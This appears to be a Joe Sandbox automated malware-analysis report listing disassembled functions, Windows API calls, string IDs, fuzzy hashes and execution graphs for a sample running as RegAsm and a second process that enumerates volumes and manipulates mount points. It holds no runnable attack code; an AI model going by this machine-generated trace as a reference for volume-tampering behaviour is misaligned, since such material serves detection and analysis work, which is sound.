                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137
                                                              • GetLastError.KERNEL32 ref: 0041B50B
                                                              • __dosmaperr.LIBCMT ref: 0041B512
                                                              • GetLastError.KERNEL32(?,?,?,?), ref: 0041B54C
                                                              • __dosmaperr.LIBCMT ref: 0041B553
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ErrorLast__dosmaperr$ByteCharMultiWide
                                                              • String ID:
                                                              • API String ID: 1913693674-0
                                                              • Opcode ID: 98539fc020fd00bd43affe0888965e6ed426553bce3dc314c44ab490fe6ade4c
                                                              • Instruction ID: cec987ca27f54d0df3a57789ab5f391b1316bc0051da666ab1eca3c5aeea150a
                                                              • Opcode Fuzzy Hash: 98539fc020fd00bd43affe0888965e6ed426553bce3dc314c44ab490fe6ade4c
                                                              • Instruction Fuzzy Hash: 3221B671600215BFDB20EF66C8418ABB7ADFF043A8710852FF85997251D779ED9087D4
                                                              Function 004108A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 66e116e2024aada6cab71803717b56169a7abbe351efb3759331a0be8796517d
                                                              • Instruction ID: f8db4804455f599fb5fabd8b5f86bcd1d132503182311fbe19c9dedc91394c0d
                                                              • Opcode Fuzzy Hash: 66e116e2024aada6cab71803717b56169a7abbe351efb3759331a0be8796517d
                                                              • Instruction Fuzzy Hash: 8F21F9B1610205AFEB20AF62CC90DAB776CFF40368710452BF415D7252D7B9EDD097A8
                                                              Function 0041C43D Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetEnvironmentStringsW.KERNEL32(00000000,?,?,?,00410F8E,00000000,00410F61,004111FF,00407377,00432718,00000014), ref: 0041C445
                                                                • Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137
                                                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041C47D
                                                              • FreeEnvironmentStringsW.KERNEL32(00000000,00000000), ref: 0041C49D
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: EnvironmentStrings$Free$ByteCharMultiWide
                                                              • String ID:
                                                              • API String ID: 158306478-0
                                                              • Opcode ID: 4d096bac32b07df6f96bbfc29f435c2dddc1c3056e5e13fb52e26ce166ed4541
                                                              • Instruction ID: cd346ceb72f841712861b774b6322b7d2f9c84398f992d5f92ec2fcb375f728e
                                                              • Opcode Fuzzy Hash: 4d096bac32b07df6f96bbfc29f435c2dddc1c3056e5e13fb52e26ce166ed4541
                                                              • Instruction Fuzzy Hash: 091104B2A48515BF672127B25CDACFF6D5CDE99398310402AF802D2102EE2CDD8285BD
                                                              Function 004241E7 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000), ref: 004241FE
                                                              • GetLastError.KERNEL32(?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8,0040BDB8,?,00416E7D,?), ref: 0042420A
                                                                • Part of subcall function 004241D0: CloseHandle.KERNEL32(FFFFFFFE,0042421A,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8,0040BDB8), ref: 004241E0
                                                              • ___initconout.LIBCMT ref: 0042421A
                                                                • Part of subcall function 00424192: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004241C1,00421C31,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8), ref: 004241A5
                                                              • WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8), ref: 0042422F
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                              • String ID:
                                                              • API String ID: 2744216297-0
                                                              • Opcode ID: ca09305258c16a54d0dcba451752d25af7c96ee1953d8ec0ee725fe34d53713b
                                                              • Instruction ID: 4f4531f6176a0c5b6c9a7a905856594723a902087f3f8d784f297790ae8fc46e
                                                              • Opcode Fuzzy Hash: ca09305258c16a54d0dcba451752d25af7c96ee1953d8ec0ee725fe34d53713b
                                                              • Instruction Fuzzy Hash: C1F03736200124BBCF222FD5FC0899A7F26FB853B0F414065FA5995130C6319870AB99
                                                              Function 004102AD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __startOneArgErrorHandling.LIBCMT ref: 0041033D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ErrorHandling__start
                                                              • String ID: pow
                                                              • API String ID: 3213639722-2276729525
                                                              • Opcode ID: c0cf26b477ce003e2ec9021a6fbfbc89d90c79d8eb5fc1b2203591be7fd8a1bc
                                                              • Instruction ID: ba283ab10e86f0ff01337ebee0106e11519cd21400a500e12903ed81b54b832b
                                                              • Opcode Fuzzy Hash: c0cf26b477ce003e2ec9021a6fbfbc89d90c79d8eb5fc1b2203591be7fd8a1bc
                                                              • Instruction Fuzzy Hash: CD517EB1A4A6068BCB117714DA413EB37A09B40701F604D6BE8D5413E9EB7D8CF69A4F
                                                              Function 00401E50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • ___std_exception_copy.LIBVCRUNTIME ref: 00401F9D
                                                                • Part of subcall function 00408090: RaiseException.KERNEL32(E06D7363,00000001,00000003,00407FAB,?,?,?,?,00407FAB,0000000C,00432FA4,0000000C), ref: 004080F0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ExceptionRaise___std_exception_copy
                                                              • String ID: ios_base::badbit set$ios_base::failbit set
                                                              • API String ID: 3109751735-1240500531
                                                              • Opcode ID: 195284d85085cfcb6c91532f94d9606232df54a46d20a557ea02a48c59055347
                                                              • Instruction ID: 797d091bbb829d4e8b0eea89e00af225cce609620468ab5527f299f1bcc47ce9
                                                              • Opcode Fuzzy Hash: 195284d85085cfcb6c91532f94d9606232df54a46d20a557ea02a48c59055347
                                                              • Instruction Fuzzy Hash: 2D414771504301AFC304DF29C841A9BB7E8EF89310F14862FF994A76A1E778E945CB99
                                                              Function 0040A430 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___except_validate_context_record.LIBVCRUNTIME ref: 0040A46F
                                                              • __IsNonwritableInCurrentImage.LIBCMT ref: 0040A523
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: CurrentImageNonwritable___except_validate_context_record
                                                              • String ID: csm
                                                              • API String ID: 3480331319-1018135373
                                                              • Opcode ID: ca5a29bd391d885cd4634227e419514380eff920c463d90092caad24f93c2f58
                                                              • Instruction ID: 2e999a1580a82348229a279466bd0bfc2513c0ac70a5a2249b741fcd72562a23
                                                              • Opcode Fuzzy Hash: ca5a29bd391d885cd4634227e419514380eff920c463d90092caad24f93c2f58
                                                              • Instruction Fuzzy Hash: 2741C834A00318ABCF10DF69C844A9E7BB0FF45314F1481A6E8146B3D2D779E961CB9A
                                                              Function 0040AD3D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • EncodePointer.KERNEL32(00000000,?), ref: 0040AD62
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: EncodePointer
                                                              • String ID: MOC$RCC
                                                              • API String ID: 2118026453-2084237596
                                                              • Opcode ID: 5b710ab2a9f474c2cc4afd51bace25907f511bb75432380764933eab186ad071
                                                              • Instruction ID: a4c454b0bcb5eef0a2e58a0d06434270c6490fd8828ce8058ef1224e804d7477
                                                              • Opcode Fuzzy Hash: 5b710ab2a9f474c2cc4afd51bace25907f511bb75432380764933eab186ad071
                                                              • Instruction Fuzzy Hash: 4C416E71900209AFCF15DFA4CD81AEEBBB5FF48304F19846AF904B7291D3399960DB95
                                                              Function 00407EA3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407EAE
                                                              • ___raise_securityfailure.LIBCMT ref: 00407F6B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: FeaturePresentProcessor___raise_securityfailure
                                                              • String ID: @SC
                                                              • API String ID: 3761405300-4053289583
                                                              • Opcode ID: ee42222a1a21f84a104741ef492a216a118de1db3b1281724e16a62be68f0859
                                                              • Instruction ID: 10e33e2e5eb9a3d5286ccbecc20551b6eaee076d59bf9c7ce06d7c1cd455d27c
                                                              • Opcode Fuzzy Hash: ee42222a1a21f84a104741ef492a216a118de1db3b1281724e16a62be68f0859
                                                              • Instruction Fuzzy Hash: 2D11E3B4651A04DBD318CF15F8817883BA4BB28346B50B03AE8088B371E3B09595CF5E
                                                              Function 00401870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00401875
                                                              • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004018BA
                                                                • Part of subcall function 004058AA: _Yarn.LIBCPMT ref: 004058C9
                                                                • Part of subcall function 004058AA: _Yarn.LIBCPMT ref: 004058ED
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
                                                              • String ID: bad locale name
                                                              • API String ID: 1908188788-1405518554
                                                              • Opcode ID: 72551ae77e736be2171b1fcc8d603e91bdd62b17c33b334120392a8c0c99013b
                                                              • Instruction ID: 698a41e2f8890499ec269fe88a942146f7bab7e11b1414401b60b7a9d3f26e65
                                                              • Opcode Fuzzy Hash: 72551ae77e736be2171b1fcc8d603e91bdd62b17c33b334120392a8c0c99013b
                                                              • Instruction Fuzzy Hash: 90F01D71515B408ED370DF3A8404743BEE0AF29714F048E2EE4CAD7A92E379E508CBA9

                                                              Execution Graph

                                                              Execution Coverage:32.2%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:18.6%
                                                              Total number of Nodes:183
                                                              Total number of Limit Nodes:5
                                                              execution_graph 388 7ff60d7f1754 CreateFileW 389 7ff60d7f17d0 DeviceIoControl 388->389 390 7ff60d7f180d 388->390 389->390 391 7ff60d7f182a FindCloseChangeNotification 390->391 392 7ff60d7f1839 390->392 391->392 393 7ff60d7f1855 FindFirstVolumeW 392->393 394 7ff60d7f183d GetLastError 392->394 393->394 405 7ff60d7f1874 393->405 454 7ff60d7f12d4 FormatMessageW 394->454 396 7ff60d7f1850 459 7ff60d7f28c0 396->459 399 7ff60d7f18a2 GetLastError 400 7ff60d7f18cd LocalAlloc 399->400 402 7ff60d7f18b5 GetLastError 399->402 404 7ff60d7f18ef GetVolumePathNamesForVolumeNameW 400->404 400->405 402->405 406 7ff60d7f1920 404->406 407 7ff60d7f190f LocalFree 404->407 408 7ff60d7f12d4 13 API calls 405->408 411 7ff60d7f198b FindNextVolumeW 405->411 427 7ff60d7f1238 405->427 410 7ff60d7f1238 13 API calls 406->410 413 7ff60d7f1238 13 API calls 406->413 417 7ff60d7f1972 LocalFree 406->417 434 7ff60d7f13b4 406->434 407->402 408->405 410->406 411->405 412 7ff60d7f19ad GetLastError 411->412 414 7ff60d7f19e2 FindVolumeClose 412->414 415 7ff60d7f19be GetLastError 412->415 416 7ff60d7f193f LocalFree 413->416 419 7ff60d7f19ff 414->419 420 7ff60d7f19f6 414->420 418 7ff60d7f12d4 13 API calls 415->418 416->411 421 7ff60d7f1238 13 API calls 417->421 422 7ff60d7f19d1 FindVolumeClose 418->422 439 7ff60d7f1348 NtQuerySystemInformation 419->439 423 7ff60d7f1238 13 API calls 420->423 421->411 422->396 423->419 467 7ff60d7f2f90 427->467 429 7ff60d7f1254 FormatMessageW 469 7ff60d7f1130 429->469 432 7ff60d7f28c0 7 API calls 433 7ff60d7f12c5 GetVolumePathNamesForVolumeNameW 432->433 433->399 433->400 435 7ff60d7f13cf 434->435 435->435 436 7ff60d7f1476 435->436 437 7ff60d7f13f3 CreateFileW 435->437 436->406 437->436 438 7ff60d7f142f DeviceIoControl CloseHandle 437->438 438->436 440 7ff60d7f138b 439->440 441 7ff60d7f28c0 7 API calls 440->441 442 7ff60d7f13a5 441->442 442->396 443 7ff60d7f1660 442->443 444 7ff60d7f168e 443->444 477 7ff60d7f1494 LocalAlloc 444->477 446 7ff60d7f28c0 7 API calls 448 7ff60d7f1735 446->448 447 7ff60d7f16ad QueryDosDeviceW 449 7ff60d7f16d9 lstrcmpW 447->449 450 7ff60d7f169a 447->450 448->396 449->450 452 7ff60d7f1701 449->452 450->447 451 7ff60d7f170e 450->451 451->446 452->451 453 7ff60d7f1238 13 API calls 452->453 453->451 455 7ff60d7f1130 5 API calls 454->455 456 7ff60d7f1328 455->456 457 7ff60d7f28c0 7 API calls 456->457 458 7ff60d7f1338 457->458 458->396 460 7ff60d7f28c9 459->460 461 7ff60d7f1a1e 460->461 462 7ff60d7f2920 RtlCaptureContext RtlLookupFunctionEntry 460->462 463 7ff60d7f2965 RtlVirtualUnwind 462->463 464 7ff60d7f29a7 462->464 463->464 484 7ff60d7f28e4 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 464->484 468 7ff60d7f2fba 467->468 468->429 468->468 470 7ff60d7f114f 469->470 470->470 471 7ff60d7f1162 WriteConsoleW 470->471 472 7ff60d7f118a LocalAlloc 470->472 473 7ff60d7f121c 471->473 472->473 474 7ff60d7f11a8 WideCharToMultiByte 472->474 473->432 475 7ff60d7f11e1 474->475 475->475 476 7ff60d7f11ea WriteFile LocalFree 475->476 476->473 478 7ff60d7f14e9 477->478 479 7ff60d7f14c5 NtQuerySystemInformation 478->479 480 7ff60d7f14f0 LocalFree LocalAlloc 478->480 483 7ff60d7f1519 478->483 479->478 479->483 480->478 481 7ff60d7f1532 481->450 482 7ff60d7f1523 LocalFree 482->481 483->481 483->482 553 7ff60d7f1a44 554 7ff60d7f2f90 553->554 555 7ff60d7f1a6d CreateFileW 554->555 556 7ff60d7f1ac4 DeviceIoControl CloseHandle 555->556 557 7ff60d7f1cde 555->557 556->557 558 7ff60d7f1b13 FindFirstVolumeW 556->558 559 7ff60d7f28c0 7 API calls 557->559 558->557 564 7ff60d7f1b35 558->564 560 7ff60d7f1cef 559->560 561 7ff60d7f1b5f FindFirstVolumeMountPointW 562 7ff60d7f1c88 FindNextVolumeW 561->562 561->564 563 7ff60d7f1cac FindVolumeClose 562->563 562->564 563->557 564->561 565 7ff60d7f1c79 FindVolumeMountPointClose 564->565 566 7ff60d7f1baf memcpy 564->566 565->562 567 7ff60d7f1bd5 GetVolumeNameForVolumeMountPointW 566->567 568 7ff60d7f1d11 566->568 570 7ff60d7f1cc0 FindVolumeMountPointClose FindVolumeClose 567->570 571 7ff60d7f1c08 GetVolumeNameForVolumeMountPointW 567->571 569 7ff60d7f2a98 7 API calls 568->569 574 7ff60d7f1d16 569->574 570->557 572 7ff60d7f1c55 FindNextVolumeMountPointW 571->572 573 7ff60d7f1c29 GetLastError 571->573 572->564 572->565 573->570 575 7ff60d7f1c3e RemoveDirectoryW 573->575 575->570 575->572 485 7ff60d7f26c0 486 7ff60d7f26e4 485->486 487 7ff60d7f26f6 486->487 488 7ff60d7f26ff Sleep 486->488 489 7ff60d7f271b _amsg_exit 487->489 490 7ff60d7f2727 487->490 488->486 489->490 491 7ff60d7f2796 _initterm 490->491 492 7ff60d7f277c 490->492 493 7ff60d7f27b3 _IsNonwritableInCurrentImage 490->493 491->493 499 7ff60d7f1fdc SetThreadUILanguage SetErrorMode HeapSetInformation 493->499 495 7ff60d7f280d 496 7ff60d7f2824 495->496 497 7ff60d7f281c exit 495->497 496->492 498 7ff60d7f282d _cexit 496->498 497->496 498->492 500 7ff60d7f205d GetLastError 499->500 501 7ff60d7f207a GetStdHandle GetConsoleMode 499->501 502 7ff60d7f12d4 13 API calls 500->502 503 7ff60d7f20f1 501->503 504 7ff60d7f2070 502->504 503->504 507 7ff60d7f2394 503->507 508 7ff60d7f22cc 503->508 505 7ff60d7f28c0 7 API calls 504->505 506 7ff60d7f219f 505->506 506->495 511 7ff60d7f2399 GetVolumeNameForVolumeMountPointW 507->511 512 7ff60d7f23d7 507->512 509 7ff60d7f2323 508->509 510 7ff60d7f22d1 GetVolumeNameForVolumeMountPointW 508->510 516 7ff60d7f2331 DeleteVolumeMountPointW 509->516 517 7ff60d7f2498 509->517 515 7ff60d7f2300 510->515 511->500 513 7ff60d7f23c1 511->513 514 7ff60d7f23df 512->514 526 7ff60d7f24e9 512->526 518 7ff60d7f1238 13 API calls 513->518 519 7ff60d7f1348 8 API calls 514->519 515->509 516->504 520 7ff60d7f234a GetLastError 516->520 545 7ff60d7f2a98 RtlCaptureContext RtlLookupFunctionEntry 517->545 521 7ff60d7f23d2 518->521 534 7ff60d7f23e4 519->534 520->500 522 7ff60d7f235f 520->522 521->517 522->517 527 7ff60d7f2372 DefineDosDeviceW 522->527 523 7ff60d7f24df 523->495 525 7ff60d7f2563 SetVolumeMountPointW 525->517 526->525 528 7ff60d7f2527 QueryDosDeviceW 526->528 527->517 529 7ff60d7f254f 528->529 529->525 534->523 536 7ff60d7f2442 QueryDosDeviceW 534->536 536->529 537 7ff60d7f2472 536->537 538 7ff60d7f1660 20 API calls 537->538 541 7ff60d7f2481 538->541 541->523 542 7ff60d7f1494 5 API calls 541->542 543 7ff60d7f2494 542->543 543->517 544 7ff60d7f24af DefineDosDeviceW 543->544 544->517 546 7ff60d7f2ad5 RtlVirtualUnwind 545->546 547 7ff60d7f2b17 545->547 546->547 552 7ff60d7f28e4 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 547->552 576 7ff60d7f2ba0 577 7ff60d7f2bd2 576->577 578 7ff60d7f2baf 576->578 578->577 579 7ff60d7f2bcb ?terminate@ 578->579 579->577 580 7ff60d7f2be0 SetUnhandledExceptionFilter 581 7ff60d7f2890 584 7ff60d7f2db4 581->584 585 7ff60d7f2899 584->585 586 7ff60d7f2de0 6 API calls 584->586 586->585 587 7ff60d7f2670 __getmainargs 588 7ff60d7f159c CreateFileW 589 7ff60d7f1632 588->589 590 7ff60d7f15f0 DeviceIoControl 588->590 591 7ff60d7f1638 CloseHandle 589->591 592 7ff60d7f1647 589->592 590->589 591->592 593 7ff60d7f10ac 594 7ff60d7f10db _vsnwprintf 593->594 595 7ff60d7f10fc 593->595 594->595 596 7ff60d7f283b 597 7ff60d7f2853 596->597 598 7ff60d7f284a _exit 596->598 599 7ff60d7f285c _cexit 597->599 600 7ff60d7f2868 597->600 598->597 599->600

                                                              Callgraph

                                                              Executed Functions

                                                              Function 00007FF60D7F1754 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 181filememoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 0 7ff60d7f1754-7ff60d7f17ce CreateFileW 1 7ff60d7f17d0-7ff60d7f180b DeviceIoControl 0->1 2 7ff60d7f180d-7ff60d7f180f 0->2 1->2 3 7ff60d7f1811-7ff60d7f181d 2->3 4 7ff60d7f181f 2->4 5 7ff60d7f1824-7ff60d7f1828 3->5 4->5 6 7ff60d7f182a-7ff60d7f1834 FindCloseChangeNotification 5->6 7 7ff60d7f1839-7ff60d7f183b 5->7 6->7 8 7ff60d7f1855-7ff60d7f1872 FindFirstVolumeW 7->8 9 7ff60d7f183d-7ff60d7f1850 GetLastError call 7ff60d7f12d4 7->9 8->9 11 7ff60d7f1874-7ff60d7f18a0 call 7ff60d7f1238 GetVolumePathNamesForVolumeNameW 8->11 14 7ff60d7f1a0f-7ff60d7f1a3a call 7ff60d7f28c0 9->14 16 7ff60d7f18a2-7ff60d7f18b3 GetLastError 11->16 17 7ff60d7f18cd-7ff60d7f18e8 LocalAlloc 11->17 16->17 19 7ff60d7f18b5-7ff60d7f18c1 GetLastError 16->19 21 7ff60d7f18ef-7ff60d7f190d GetVolumePathNamesForVolumeNameW 17->21 22 7ff60d7f18ea-7ff60d7f18ed 17->22 23 7ff60d7f18c3-7ff60d7f18c8 call 7ff60d7f12d4 19->23 24 7ff60d7f1920-7ff60d7f1924 21->24 25 7ff60d7f190f-7ff60d7f191e LocalFree 21->25 22->23 33 7ff60d7f198b-7ff60d7f19a7 FindNextVolumeW 23->33 27 7ff60d7f1950 24->27 28 7ff60d7f1926-7ff60d7f193a call 7ff60d7f13b4 call 7ff60d7f1238 24->28 25->19 29 7ff60d7f1953-7ff60d7f195b call 7ff60d7f1238 27->29 41 7ff60d7f193f-7ff60d7f194e LocalFree 28->41 35 7ff60d7f1960-7ff60d7f196a 29->35 33->11 36 7ff60d7f19ad-7ff60d7f19bc GetLastError 33->36 35->35 38 7ff60d7f196c-7ff60d7f1970 35->38 39 7ff60d7f19e2-7ff60d7f19f4 FindVolumeClose 36->39 40 7ff60d7f19be-7ff60d7f19e0 GetLastError call 7ff60d7f12d4 FindVolumeClose 36->40 38->29 42 7ff60d7f1972-7ff60d7f1986 LocalFree call 7ff60d7f1238 38->42 44 7ff60d7f19ff-7ff60d7f1a06 call 7ff60d7f1348 39->44 45 7ff60d7f19f6-7ff60d7f19fa call 7ff60d7f1238 39->45 40->14 41->33 42->33 44->14 51 7ff60d7f1a08-7ff60d7f1a0a call 7ff60d7f1660 44->51 45->44 51->14
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: Volume$ErrorFindLast$Local$CloseFree$NameNamesPath$AllocChangeControlCreateDeviceFileFirstFormatMessageNextNotification
                                                              • String ID: \\.\MountPointManager
                                                              • API String ID: 1486330377-3276014075
                                                              • Opcode ID: a4b8ff73f256ba553a24f4df5d0f4c7f56c06e1c728654a28e60d5bebe7c78c4
                                                              • Instruction ID: ccc76cf2b81ee20f9c3287a73e84fd612d8aad1aefa93080bf850478b8bf810c
                                                              • Opcode Fuzzy Hash: a4b8ff73f256ba553a24f4df5d0f4c7f56c06e1c728654a28e60d5bebe7c78c4
                                                              • Instruction Fuzzy Hash: A4817332A48782C7E7249B61E4041BA7BA0FB99B64FA59335DE1E837D4EF3CD4058700
                                                              Function 00007FF60D7F1A44 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 170fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: Volume$Find$MountPoint$Close$FirstNameNext$ControlCreateDeviceDirectoryErrorFileHandleLastRemovememcpy
                                                              • String ID: %hs$\\.\MountPointManager
                                                              • API String ID: 1698496843-722914749
                                                              • Opcode ID: 29a9cc707cee59c8517bfaf76483b7fe94fdb033e3cae43ba1fd485cd4e056f7
                                                              • Instruction ID: 87a74d65b41834d4700a2a0288f23019810804228550308375c12574620cfcf5
                                                              • Opcode Fuzzy Hash: 29a9cc707cee59c8517bfaf76483b7fe94fdb033e3cae43ba1fd485cd4e056f7
                                                              • Instruction Fuzzy Hash: 0A715C32658B82C7E7308F21E8442BA7BA4FB49B94F959631CE0E83754EF38D549C700
                                                              Function 00007FF60D7F1494 Relevance: 7.6, APIs: 5, Instructions: 70memorynativeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: Local$AllocFree$InformationQuerySystem
                                                              • String ID:
                                                              • API String ID: 3980593839-0
                                                              • Opcode ID: 6ddf1129da945206f3b33d3ec7b31e3c748a7bcc96a7b0cb28222ac49aeed3a8
                                                              • Instruction ID: 5688c137b7665917c2173eb88a10be694a9634044bc90b67c1dbd182ce3ab187
                                                              • Opcode Fuzzy Hash: 6ddf1129da945206f3b33d3ec7b31e3c748a7bcc96a7b0cb28222ac49aeed3a8
                                                              • Instruction Fuzzy Hash: 3F218B32B48B82C7EB648B15A54417DBAA1FB89B94FA58235DF5E83B44EF3CD841C700
                                                              Function 00007FF60D7F1348 Relevance: 1.5, APIs: 1, Instructions: 27nativeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
